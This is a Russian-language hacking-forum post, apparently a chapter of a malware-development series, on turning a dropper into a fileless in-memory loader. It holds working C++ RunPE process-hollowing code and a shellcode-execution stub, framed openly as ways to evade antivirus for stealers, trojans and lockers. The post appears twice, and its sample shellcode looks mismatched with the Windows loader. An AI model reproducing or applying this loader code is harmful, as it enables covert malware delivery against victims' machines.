D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор Barmaleus
Источник https://xss.is
В прошлых частях мы познали за несколько этапов что за штука такая дроппер и как она работает, ну и намутили свой дроппер обойдя вд и хром, посмотрели принципы работы, но теперь начнём его переписывать в лоадер, то-есть без фактического дропа файла на диск, снова начинаем с истории и предыстории. А вообще, тема с лоадерами - это не какое-то там новомодное изобретение. Ещё с древних времён, когда компы только появились, умники уже мутили вирусы, которые не просто падали на диск, а загружались хитро, чтобы их сложнее было спалить. Но в те времена всё было попроще, антивирусы были тупее, так что и способы обхода были не такие навороченные. Но время шло, технологии развивались, и антивирусы тоже не стояли на месте, а прыгали выше. Стали они умнее, начали файлы на входе шерстить, да и на диске постоянно что-то находить. И тут-то наши малвейр-кодеры и придумали эту фишку с лоадерами. Идея такая: вместо того, чтобы тупо файл на диск кидать, давай-ка мы его хитро в память загрузим, да ещё и замаскируем так, что антивирус охренеет и ничего не поймёт.
Лоадеры - это сейчас реально актуальная тема. Все эти новомодные вирусы стиллеры, трояны, локеры от школьников - все они используют продвинутые лоадеры. Потому что без этого сейчас никак - сразу спалят и завалят. Короче, впереди у нас много работы. Будем разбираться с памятью, с системными вызовами, с шифрованием и дешифрованием на лету, так же нам будет нужен неплохой рантайм.
Способы выполнения пейлоада в памяти
RunPE старичок, но его ещё используют. Работает как угнать тачку, но оставить номера. Берём легальный процесс, вычищаем его и заливаем туда наш пейлоад, и получаем ёлку от антивирусов в рантайме особенно если софт уже с детектами.
C++: Скопировать в буфер обмена
Рассказывать особо много о нём не вижу смысла, дед в мире загрузки PE файлов, им можно грузить и .NET файлы что не сделаешь с другими, достаточно грузить в .NET процесс той же битности.
Shellcode, наверное самый древний и беспалевный метод, работает почти везде, но более сложен в реализации и требует знаний. Проще говоря, шеллкод- это самодостаточный кусок машинного кода, который можно впихнуть куда угодно и он сработает. Вот пример простого шеллкода на ассемблере (x86), который выводит "Привет, мир!":
Код: Скопировать в буфер обмена
Чтобы использовать этот шеллкод в C++, нужно его сконвертировать в байт-код. Вот как это должно выглядеть:
C++: Скопировать в буфер обмена
Да есть и другие способы загрузки шеллкода, но показываю самый простой и распространённый, который каждый школьник реализует. Шеллкод так же можно и инжектить в программу, он универсальный, но как и всего у него есть битность. Он такая штука что поддерживает всё(файлы, скрипты..) считай что душе угодно, только попробуй реализуй). Можно написать программу на чистом православном цэ и потом перевести её в байткод того шеллкода. Вообще прикольная штука работает везде и как надо.
LoadPE довольно таки молодой метод, реализация сложна для новичков, но всё же его использует большое количество людей, net программы он грузить не умеет и не будет. Исходники есть на форуме, он не такой простой как RunPE потому, что всё загружает сам, а не загрузчик винды. Сначала выделяется память, копирует в выделенную память секции, делает релокации, находит дллки с ехе и импортирует их. Пример можно увидеть https://github.com/SaadAhla/FilelessPELoader этот код работает и под х64.
ClrCreateInstance довольно таки новый метод, помоложе loadpe суть в том что грузит .net программу в нативной программе, коды есть в donut на гитхабе и на форуме в разделе конкурсы "Пишем свой donut на минималках", подходит только для .NET программ.
Выбор метода
Выбор метода будет зависеть от конкретных задач, если мы делаем под определённый софт допустим на .NET то выберем ClrCreateInstance, но так как мы хотим реализовать более широкий спектр и использовать сначала простое, а потом сложное, то начнём с RunPE и шеллкода, loadPE наверное тоже с собой захватим.
Про сервер
Так как сервер мы писали изначально под дроппер, но с зачатками для лодера ,сборы системной инфы(оперативная память, процессор, видеокарта), то нам уже будет проще реализовать, остальное. Шифр запросов мы будем постепенно менять и от base64 перейдём к xorу или просто сделаем свой метод. В серверной части будет минимум изменений, чего не скажешь о коде самого лодера.
В следующей части напишем серверную часть и построим новое дерево атаки, и сделаем из дроппера лодер, который будет грузить программы с сервера.
Источник https://xss.is
В прошлых частях мы познали за несколько этапов что за штука такая дроппер и как она работает, ну и намутили свой дроппер обойдя вд и хром, посмотрели принципы работы, но теперь начнём его переписывать в лоадер, то-есть без фактического дропа файла на диск, снова начинаем с истории и предыстории. А вообще, тема с лоадерами - это не какое-то там новомодное изобретение. Ещё с древних времён, когда компы только появились, умники уже мутили вирусы, которые не просто падали на диск, а загружались хитро, чтобы их сложнее было спалить. Но в те времена всё было попроще, антивирусы были тупее, так что и способы обхода были не такие навороченные. Но время шло, технологии развивались, и антивирусы тоже не стояли на месте, а прыгали выше. Стали они умнее, начали файлы на входе шерстить, да и на диске постоянно что-то находить. И тут-то наши малвейр-кодеры и придумали эту фишку с лоадерами. Идея такая: вместо того, чтобы тупо файл на диск кидать, давай-ка мы его хитро в память загрузим, да ещё и замаскируем так, что антивирус охренеет и ничего не поймёт.
Лоадеры - это сейчас реально актуальная тема. Все эти новомодные вирусы стиллеры, трояны, локеры от школьников - все они используют продвинутые лоадеры. Потому что без этого сейчас никак - сразу спалят и завалят. Короче, впереди у нас много работы. Будем разбираться с памятью, с системными вызовами, с шифрованием и дешифрованием на лету, так же нам будет нужен неплохой рантайм.
Способы выполнения пейлоада в памяти
RunPE старичок, но его ещё используют. Работает как угнать тачку, но оставить номера. Берём легальный процесс, вычищаем его и заливаем туда наш пейлоад, и получаем ёлку от антивирусов в рантайме особенно если софт уже с детектами.
C++: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* PNtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
DWORD FetchPebAddress(HANDLE hProcess)
{
PNtQueryInformationProcess pNtQueryInformationProcess = (PNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");
PROCESS_BASIC_INFORMATION pbi;
ZeroMemory(&pbi, sizeof(PROCESS_BASIC_INFORMATION));
DWORD returnLength = 0;
if (NT_SUCCESS(pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength)))
{
return (DWORD)pbi.PebBaseAddress;
}
return 0;
}
VOID WINAPI ExecutePayload(LPBYTE payloadBuffer)
{
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)payloadBuffer;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD)payloadBuffer + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return;
WCHAR exePath[MAX_PATH + 1];
GetModuleFileNameW(NULL, exePath, MAX_PATH);
PROCESS_INFORMATION pi;
STARTUPINFOW si;
ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizeof(si));
if (!CreateProcessW(exePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
return;
LPCONTEXT ctx = (LPCONTEXT)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(CONTEXT));
ctx->ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread, ctx))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return;
}
DWORD pebAddress = FetchPebAddress(pi.hProcess);
LPVOID remoteImage = VirtualAllocEx(pi.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteImage)
remoteImage = VirtualAllocEx(pi.hProcess, NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteImage, payloadBuffer, ntHeaders->OptionalHeader.SizeOfHeaders, NULL);
PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)(payloadBuffer + dosHeader->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + ntHeaders->FileHeader.SizeOfOptionalHeader);
PIMAGE_BASE_RELOCATION relocation = NULL;
DWORD relocVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
for (INT i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
{
WriteProcessMemory(pi.hProcess, (LPVOID)((DWORD)remoteImage + sectionHeader[i].VirtualAddress), (LPVOID)((DWORD)payloadBuffer + sectionHeader[i].PointerToRawData), sectionHeader[i].SizeOfRawData, NULL);
if (relocVA >= sectionHeader[i].VirtualAddress && relocVA < sectionHeader[i].VirtualAddress + sectionHeader[i].SizeOfRawData)
relocation = (PIMAGE_BASE_RELOCATION)(payloadBuffer + sectionHeader[i].PointerToRawData + (relocVA - sectionHeader[i].VirtualAddress));
}
if (relocation && (DWORD)remoteImage != ntHeaders->OptionalHeader.ImageBase)
{
DWORD delta = (DWORD)remoteImage - ntHeaders->OptionalHeader.ImageBase;
while (relocation->SizeOfBlock)
{
LPWORD fixups = (LPWORD)((DWORD)relocation + sizeof(IMAGE_BASE_RELOCATION));
DWORD fixupsCount = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
for (DWORD i = 0; i < fixupsCount; i++)
{
if ((fixups[i] & 0xF000) == IMAGE_REL_BASED_HIGHLOW)
{
LPVOID fixupAddr = (LPVOID)((DWORD)remoteImage + relocation->VirtualAddress + (fixups[i] & 0x0FFF));
DWORD fixupValue;
if (ReadProcessMemory(pi.hProcess, fixupAddr, &fixupValue, sizeof(fixupValue), NULL))
{
fixupValue += delta;
WriteProcessMemory(pi.hProcess, fixupAddr, &fixupValue, sizeof(fixupValue), NULL);
}
}
}
relocation = (PIMAGE_BASE_RELOCATION)((DWORD)relocation + relocation->SizeOfBlock);
}
}
WriteProcessMemory(pi.hProcess, (LPVOID)(pebAddress + 8), &remoteImage, sizeof(remoteImage), NULL);
ctx->Eax = (DWORD)remoteImage + ntHeaders->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
int main()
{
ExecutePayload(rawData);
return 0;
}
Shellcode, наверное самый древний и беспалевный метод, работает почти везде, но более сложен в реализации и требует знаний. Проще говоря, шеллкод- это самодостаточный кусок машинного кода, который можно впихнуть куда угодно и он сработает. Вот пример простого шеллкода на ассемблере (x86), который выводит "Привет, мир!":
Код: Скопировать в буфер обмена
Код:
section .text
global _start
_start:
; write(1, message, 13)
push 13
push message
push 1
mov eax, 4
int 0x80
; exit(0)
xor ebx, ebx
mov eax, 1
int 0x80
section .data
message db "Привет, мир!", 10
C++: Скопировать в буфер обмена
Код:
#include <Windows.h>
unsigned char shellcode[] =
"\x6A\x0D\x68\x00\x00\x00\x00\x6A\x01\xB8\x04\x00\x00\x00\xCD\x80"
"\x31\xDB\xB8\x01\x00\x00\x00\xCD\x80\xD0\xCF\xC8\xC2\xC2\xC5\xD2"
"\x2C\x20\xCC\xC8\xD0\x21\x0A";
int main()
{
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}
LoadPE довольно таки молодой метод, реализация сложна для новичков, но всё же его использует большое количество людей, net программы он грузить не умеет и не будет. Исходники есть на форуме, он не такой простой как RunPE потому, что всё загружает сам, а не загрузчик винды. Сначала выделяется память, копирует в выделенную память секции, делает релокации, находит дллки с ехе и импортирует их. Пример можно увидеть https://github.com/SaadAhla/FilelessPELoader этот код работает и под х64.
ClrCreateInstance довольно таки новый метод, помоложе loadpe суть в том что грузит .net программу в нативной программе, коды есть в donut на гитхабе и на форуме в разделе конкурсы "Пишем свой donut на минималках", подходит только для .NET программ.
Выбор метода
Выбор метода будет зависеть от конкретных задач, если мы делаем под определённый софт допустим на .NET то выберем ClrCreateInstance, но так как мы хотим реализовать более широкий спектр и использовать сначала простое, а потом сложное, то начнём с RunPE и шеллкода, loadPE наверное тоже с собой захватим.
Про сервер
Так как сервер мы писали изначально под дроппер, но с зачатками для лодера ,сборы системной инфы(оперативная память, процессор, видеокарта), то нам уже будет проще реализовать, остальное. Шифр запросов мы будем постепенно менять и от base64 перейдём к xorу или просто сделаем свой метод. В серверной части будет минимум изменений, чего не скажешь о коде самого лодера.
В следующей части напишем серверную часть и построим новое дерево атаки, и сделаем из дроппера лодер, который будет грузить программы с сервера.